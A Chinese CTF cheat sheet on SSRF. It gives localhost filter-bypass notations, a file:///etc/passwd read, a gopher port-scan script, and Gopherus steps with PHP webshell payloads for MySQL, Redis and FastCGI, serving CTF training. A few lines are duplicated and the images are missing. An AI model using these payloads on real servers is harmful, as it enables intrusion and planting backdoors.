当前位置: 首页 > article >正文

CTF知识集-SSRF


title: CTF知识集-SSRF

写在开头可能用到的提示

  • SSRF入口也可以尝试读文件,例如file:///etc/passwd
  • 127.0.0.1/localhost可以用127.1 | 127.0.1 来表示,做题的还可能可以用http://0 来访问本地
  • 如果过滤ip,可以尝试使用进制转换来绕过,例如: 127(10) -> 0177(8) -> 0x7f(16)
    127.0.0.1的各种进制
    - 2130706433 10进制 http://2130706433
    - 017700000001 8进制 http://017700000001
    - 7F000001 16进制 http://0x7F000001
  • 特殊符号字母在linux下也能表示数字和字母,例如ping ①②⑦.①,表示的是ping本地
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  • http://ctf.@127.0.0.1/flag.php#.show 这里表示的还是解析127.0.0.1/flag.php

工具

Gopherus(打本机端口)

GITHUB: https://github.com/tarunkant/Gopherus
git clone下载命令: git clone https://github.com/tarunkant/Gopherus.git
运行环境: python2

原理

如果本机开启了80 3306 6379等端口,如果存在SSRF,那么可以本机访问gopher://127.0.0.1:3306,如果存在端口,访问会延迟一下
扫端口脚本

import requests
 
 
url= "http://aa54a271-a145-4207-b6f6-ed9af4a8d0f0.challenges.ctfer.com:8080/"
 
ports = [80,9000,8088]
 
address=['10.0.1.188']
 
for adr in address:
    for p in ports:
        data={
            "url":f"gopher://{adr}:{p}/"
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
        except Exception as e:
            print(data) 

3306端口攻击

  • 进入目录,不知道参数可以python gopherus.py -h

  • python gopherus.py --exploit mysql

  • 输入数据库的用户名(root)和payload,payload可以用

    select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘/var/www/html/shell.php’;

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-a6wfbuTR-1734658263131)]

6379端口 redis

  • 进入目录,不知道参数可以python gopherus.py -h
  • python gopherus.py --exploit redis
  • 输入PHPShell,然后输入网站默认目录,然后输入一句话木马,最后会生成shell.php在网站根目录
  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-OZUGSnvx-1734658263132)]

9000端口 Fastcgi

  • 进入目录,不知道参数可以python gopherus.py -h

  • python gopherus.py --exploit fastcgi

  • 输入已经存在的文件,例如/var/www/html/index.php

  • 然后输入要执行的系统命令,这里是写马,路径是写到/var/www/html/shell.php,POST传参cmd

    echo PD89ZXZhbCgkX1BPU1RbY21kXSk7Pz4= |base64 -d > /var/www/html/shell.php

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    /www/html/shell.php

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-pK2oiOte-1734658263132)]


http://www.kler.cn/a/447186.html

相关文章:

  • 第二十四天 循环神经网络(RNN)LSTM与GRU
  • 智慧商城:购物车模块基本静态结构 + 构建vuex cart模块,获取数据存储(异步actions)
  • javaFX.(蜜雪冰城点餐小程序)MySQL数据库
  • 【C#】Ctrl+ 组合键的使用
  • 面试小札:Java后端闪电五连鞭_8
  • 免费GIS工具箱:轻松将glb文件转换成3DTiles文件
  • 组件十大传值
  • SQL MID()
  • django的model.py admin.py views.py 中 的可循环遍历的 精简案例
  • Python拆分Excel - 将工作簿或工作表拆分为多个文件
  • Github 2024-12-20 Java开源项目日报 Top10
  • 【BK】BK7256平台,sdk使用笔记(持续更新)
  • JVM和数据库面试知识点
  • 【论文阅读笔记】HunyuanVideo: A Systematic Framework For Large Video Generative Models
  • k8s迁移——岁月云实战笔记
  • 深入理解旋转位置编码(RoPE)及其在大型语言模型中的应用
  • linux ibus rime 中文输入法,快速设置为:默认简体 。命令重启部署(****)
  • 电子电器架构 ---整车区域控制器
  • 【读书笔记】《论语别裁》真人和假人
  • MVC 发布
  • 使用docker compose安装gitlab
  • RFdiffusion 工作机制介绍
  • 数据结构_实现双向链表
  • RFdiffusion Sampler类 sample_step 方法解读
  • MySql:基本查询
  • STM32, GD32 cubemx CAN 低速率125kbps 报文丢失,解决了